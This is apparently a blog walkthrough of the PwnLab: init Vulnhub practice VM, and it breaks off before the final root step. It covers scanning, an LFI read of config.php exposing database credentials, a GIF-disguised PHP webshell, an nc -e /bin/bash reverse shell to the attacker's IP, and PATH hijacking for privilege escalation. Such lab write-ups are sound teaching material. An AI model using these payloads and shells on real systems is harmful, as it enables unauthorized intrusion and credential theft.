PwnLab: init Walkthrough (Vulnhub) PwnLab: init is a great boot2root VM for beginner pentester. Let’s get started, shall we?

0. Get VM’s IP root@kali:~# netdiscover -r 192.168.1.0/24

...  

Victim’s IP: 192.168.1.65.

1. Enumeration Let’s do some enumeration! Starting by running onetwopunch script to utilize both unicornscan’s fast scanning and nmap’s version detection. For this b2r I only needed to enumerate services.

1.1 TCP/UDP services enumeration root@kali:~/Desktop# ./onetwopunch.sh -t targets -p all -n "-sV -O --version-intensity=9"

Nmap done: 1 IP address (1 host up) scanned in 14.39 seconds [+] Scans completed [+] Results saved to /root/.onetwopunch What catches your eye is that there’s a web server running as well as mysql. While you navigate to the webserver in your browser, don’t waste that CPU power and run nikto and/or dirbuster too!

1.2 Scanning the web server When there’s a web server running, you’ll want to do the following, of course depending on what you need/looking for:

Investigating HTTP requests/responses Tools: Burp Suite, Fiddler, Tamper Data/Cookies Manager+ (FF addons) Scan for vulnerabilities (outdated version, LFI/RFI, SQLi, …) Tools: Nikto, sqlmap, nmap scripts Search for hidden/misconfigured directories or files Tools: Dirbuster, GoBuster, Nikto More can be found here. Way more can be found here.

Usually I start by running Nikto:

root@kali:~/Desktop# nikto -host 192.168.1.65 - Nikto v2.1.6


+ Target IP: 192.168.1.65 + Target Hostname: 192.168.1.65 + Target Port: 80 + Start Time: 2016-11-09 22:54:56 (GMT-5)


+ Server: Apache/2.4.10 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.0.1/images/". + Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + Cookie PHPSESSID created without the httponly flag

    • + /config.php: PHP Config file may contain database IDs and passwords.**

+ OSVDB-3268: /images/: Directory indexing found. + OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found. + Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80 + OSVDB-3233: /icons/README: Apache default file found.

    • + /login.php: Admin login page/section found.**

+ 7535 requests: 0 error(s) and 13 item(s) reported on remote host + End Time: 2016-11-09 22:55:10 (GMT-5) (14 seconds)


+ 1 host(s) tested config.php is of great interest to us, as it might contain credentials to mysql or to the login form, yet investigating it shows an empty page, probably the content is only between PHP tags. There’s a login form, same as the one shown in http://192.168.1.65/?page=login. Possibly vulnerable to LFI. 2. Bruteforcing MySQL default credentials Bruteforcing a service for default credentials could be very rewarding, I tried bruteforcing MySQL manually as well as using hydra but in vain.

root@kali:~/Desktop# mysql -h 192.168.1.65 -u root -p Enter password: (empty) ERROR 1045 (28000): Access denied for user 'root'@'192.168.1.71' (using password: NO) root@kali:~/Desktop# mysql -h 192.168.1.65 -u root -p Enter password: (root) ERROR 1045 (28000): Access denied for user 'root'@'192.168.1.71' (using password: YES) root@kali:~/Desktop# 3. Checking out the web service 3.1 Login page** 14

Let’s see if we can bypass the authentication form, using manual SQLi attacks as well as sqlmap seemed fruitless.

root@kali:~/Desktop# sqlmap -u "http://192.168.1.65/?page=login" --data="user=abcd&pass=abcd&submit=Login" --level=5 --risk=3 --dbms=mysql ... [23:20:31] [CRITICAL] all tested parameters appear to be not injectable. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp'). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')

[*] shutting down at 23:20:31 Damn, we need to find other ways, how about the page parameter in the url? It could be vulnerable to LFI.

3.2 LFI vulnerability Example vulnerable code:

<?php

  if (isset($_GET['page']))  
  {  
     include($_GET['page'] . '.php');  
  }  

?> None of these worked:

http://192.168.1.65/?page=/etc/passwd http://192.168.1.65/?page=/etc/passwd http://192.168.1.65/?page=../../../../../../../etc/passwd http://192.168.1.65/?page=../../../../../../../etc/passwd Yet, the following worked!

http://192.168.1.65/?page=php://filter/convert.base64-encode/resource=index Using PHP filters to encode the .php file content to base64 string allows us to bypass it being executed by the server.

Config.php: <?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?> Sweet! We got the MySQL credentials. Before we dump the database let’s continue checking out the remaining pages.

Index.php: <?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) {

   include("lang/".$_COOKIE['lang']);  

} // Not implemented yet. ?> <html> <head> <title>PwnLab Intranet Image Hosting</title> </head> <body>

<img src="images/pwnlab.png">
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]



<?php

   if (isset($_GET['page']))  
   {  
       include($_GET['page'].".php");  
   }  
   else  
   {  
       echo "Use this server to upload and share image files inside the intranet";  
   }  

?>

</body> </html> Lines 4-6: LFI vulnerability, if we set a cookie with name _lang _ pointing to a file in the file system, it will be included. We don’t even need to worry about it not ending in .php! Lines 20-23: LFI vulnerability we already got the source code thanks to.

Upload.php <?php

session_start();  
if (!isset($_SESSION['user'])) { die('You must be log in.'); }  

?>

<html>

   <body>  
       <form action= method='post' enctype='multipart/form-data'>  
           <input type='file' name='file' id='file' />  
           <input type='submit' name='submit' value='Upload'/>  
       </form>  
   </body>  

</html>

<?php if(isset($_POST['submit'])) {

   if ($_FILES['file']['error'] <= 0) {  
       $filename  = $_FILES['file']['name'];  
       $filetype  = $_FILES['file']['type'];  
       $uploaddir = 'upload/';  
       $file_ext  = strrchr($filename, '.');  
       $imageinfo = getimagesize($_FILES['file']['tmp_name']);  
       $whitelist = array(".jpg",".jpeg",".gif",".png");  
 
       if (!(in_array($file_ext, $whitelist))) {  
           die('Not allowed extension, please upload images only.');  
       }  
 
       if(strpos($filetype,'image') === false) {  
           die('Error 001');  
       }  
 
       if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {  
           die('Error 002');  
       }  
 
       if(substr_count($filetype, '/')>1){  
           die('Error 003');  
       }  
 
       $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;  
 
       if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {  
           echo "<img src=\"".$uploadfile."\">
"; } else { die('Error 4'); } }

}

?> We haven’t figured yet a way to access this page, but this page is full of juicy content we just can’t skip!

Lines 2-3: That’s what has been denying us access. Lines 16-49: Many conditions for uploading a file:

Err 0: Whitelist for files ending with .jpg, ,jpeg, .gif and .png Err 1: File is not identified as an image Err 2: HEX signature validation? Err 3: File name contains ‘/’ to avoid LFI Err 4: Failed to upload file 4. Accessing MySQL Alright, now that we know how to upload a backdoor, we need to be able to access this page. Let’s try to access mysql remotely using the credentials we found in config.php.

root@kali:~/Desktop# mysql -h 192.168.1.65 -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 44533 Server version: 5.5.47-0+deb8u1 (Debian)

kent: JWzXuBJJNy mike: SIfdsTEn6I kane: iSv5Ym2GRo 5. Uploading a backdoor Using any of the credentials provided allows us to access the upload page. What we want to do now is find a way to get a shell. How about uploading a GIF containing PHP code, and include it by the LFI vulnerability we found earlier (lang cookie)?

1. Create fake PNG file containing PHP code. GIF89; <?php system($_GET["cmd"]) ?> GIF89 is to bypass the type check, more info here.. File is stored by its md5 hash, so it’s stored at ../upload/32d3ca5e23f4ccf1e4c8660c40e75f33.png.

2. Set lang cookie to include the image we uploaded: document.cookie="lang=../upload/32d3ca5e23f4ccf1e4c8660c40e75f33.png" 3. Start a netcat listener on Kali root@kali:~/Desktop# nc -nvlp 4444 listening on [any] 4444 ... 4. Connect to the open port http://192.168.1.65/?cmd=nc -nv 192.168.1.71 4444 -e /bin/bash 5. Did we get our shell? root@kali:~/Desktop# nc -nvlp 4444 listening on [any] 4444 ... connect to [192.168.1.71] from (UNKNOWN) [192.168.1.65] 57556 whoami whoami www-data python -c 'import pty; pty.spawn("/bin/bash");' www-data@pwnlab:/var/www/html$ 6. Privilege Escalation I won’t be discussing which attempts I made since they’re countless, check this article for useful info.

1. Running as kent

Kent you suck!

2. Running as mike (part 1)

You’ll notice that the password for mike pulled from Mysql doesn’t work. We’ll get back to mike later.

3.Running as kane

kane@pwnlab:~$ ls -al ls -al total 28 drwxr-x--- 2 kane kane 4096 Mar 17 2016 . drwxr-xr-x 6 root root 4096 Mar 17 2016 .. -rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout -rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc

    • cat: /home/mike/msg.txt: No such file or directory**

kane@pwnlab:~$ strings msgmike ...

    • cat /home/mike/msg.txt**

... kane@pwnlab:~$ Are you thinking what I’m thinking? msgmike might be doing the following code:

int main() {

     system("cat /home/mike/msg.txt");  

} This is very poorly configured as cat command is found by searching for files with that specific name in the PATH environment variable. If we create a script called cat in a certain directory and override the PATH variable, we might be able to get a shell for use mike!

If you’re interested in such problems, check out root-me.org’s system problems!

kane@pwnlab:~$ echo "/bin/bash" > cat echo "/bin/bash #" > cat kane@pwnlab:~$ chmod 777 cat chmod 777 cat kane@pwnlab:~$ export PATH=/home/kane export PATH=/home/kane kane@pwnlab:~$ ./msgmike ./msgmike bash: dircolors: command not found bash: ls: command not found mike@pwnlab:~$ 4. Running as mike and becoming god root You’ll need to reset the PATH variable first.

Message for root: /bin/echo %s >> /root/messages.txt ... mike@pwnlab:/home/mike$ Hmm… msg2root possibly looks like this (might not compile, don’t complain!):

  1. include <iostream>

char msg[1024]; //Let's assume no BO takes place, alrighty? char command[1024];

int main() {

printf("Message for root: ");  
scanf("%s", msg);  
snprintf(command, sizeof(command), "/bin/echo %s >> /root/messages.txt", msg);  
system(command);  

} Let’s find a way in.
